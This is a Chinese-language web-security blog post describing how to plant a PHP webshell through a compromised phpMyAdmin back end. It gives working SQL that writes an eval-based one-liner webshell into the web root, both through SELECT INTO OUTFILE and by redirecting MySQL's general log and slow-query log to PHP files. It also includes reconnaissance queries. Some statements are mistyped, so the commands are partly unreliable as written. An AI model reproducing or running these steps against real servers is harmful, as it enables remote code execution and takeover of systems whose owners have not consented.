【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)

PHPMyAdmin后台GetShell姿势总结

前言:

本地环境:

数据库文件导出写入

利用条件

利用方式

数据库全局日志写入

利用条件

利用方式

数据库慢查询日志写入

利用条件

利用方式

CVE-2018-12613

利用条件

利用方式

CVE-2018-19968

利用条件

利用方式

前言:

phpMyAdmin是一个以PHP为基础,以web方式架构在服务器上的MySQL的数据库管理工具。让管理者可以通过Web接口来管理MySQL数据库。因其基于Web的简便易操作的图形化界面备受网站管理者的喜爱。


当我们通过其它各类手段获取到MySQL账户和密码,可以成功登录到phpMyAdmin的后台时,可以通过以下几种方式将webshell写入到目标机器中。


本地环境:

虚拟机windows7、php5.6.9、phpMyAdmin4.8.0

数据库文件导出写入

当数据库服务开启了文件导入导出功能时,使用select into outfile语句将webshell写入。

利用条件

  • 数据库root权限
  • 数据库字段secure_file_priv没有具体的值
  • 获得网站的绝对路径

利用方式

1.执行sql语句show global variables like '%secure%',查看数据库字段secure_file_priv的内容。该字段的内容无法通过sql语句修改,需要修改mysql配置文件my.ini


  1. secure_file_priv=null 不允许文件的导入导出
  2. secure_file_priv=xxx 文件导入导出到某路径
  3. secure_file_priv= 文件可导入到任意路径


2.可以通过页面报错、php探针等手段获取到网站服务的绝对路径后,执行下面的sql语句即可将webshell写入。

【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)

select '<?php @eval($_POST[shell]);?>'INTO OUTFILE 'D:/xxx/WWW/shell.php' 

3.当然也可以将webshell写入到表中的字段,通过将表导出为php文件来实现写入webshell。执行下面的sql语句即可。

【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)

CREATE TABLE hack.test( id text(500) not null); 
INSERT INTO hack.test (id) VALUES('<?php @eval($_POST[cmd]);?>'); 
SELECT id FROM hack ITO OUTFILE 'D:/phpstudy_pro/WWW/1.php'; 
DROP TABLE IF EXISTS test; 

数据库全局日志写入

将数据库全局日志保存为web目录下的php文件来实现webshell写入。

利用条件

  • 数据库root权限
  • 获得网站的绝对路径

利用方式

  1. 执行下面的sql语句查询MySQL是否开启了全局日志以及全局日志的存放位置。

【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)

SHOW VARIABLES LIKE '%general%' 

2.如果全局日志关闭,可以 通过set global_log = on打开全局日志功能。

3.修改或设置全局日志的保存目录为网站的web目录,并且日志保存为php文件。

【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)

set global log file = 'xxx/WWW/22.php'

4.设置好以后,我们执行的sql语句就会记录到上述设置的全局日志当中。只需要在sql语句中包含一句话木马即可。

【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)

select '<?php eval($_POST[shell]); ?>' 

数据库慢查询日志写入

慢日志查询:记录所有执行时间超过字段long_query_time规定时间的所有查询或者不使用索引的查询。默认情况下慢查询日志为关闭状态,long_query_time值为10秒。

利用条件

  • 数据库root权限
  • 获得网站绝对路径

利用方式

  1. 执行下面的sql语句查询数据库慢查询日志的配置情况
show variables like '%slow%'

2.如果慢查询日志关闭,可以 通过set global slow_query_log=on;打开全局日志功能。

3.修改或设置慢查询日志的保存目录为网站的web目录,并且日志保存为php文件。

set global slow_query_log_file='xxx/WWW/slow.php' 

4.执行包含一句话的sql语句,并且使用sleep(10)来使得这个sql语句为一个慢查询语句,使其记录到慢查询日志中即可。

select '<?php @eval($_POST[shell]);?>' or sleep(10); 


上一篇:Puppet学习之cron任务的管理


下一篇:Excel两列比较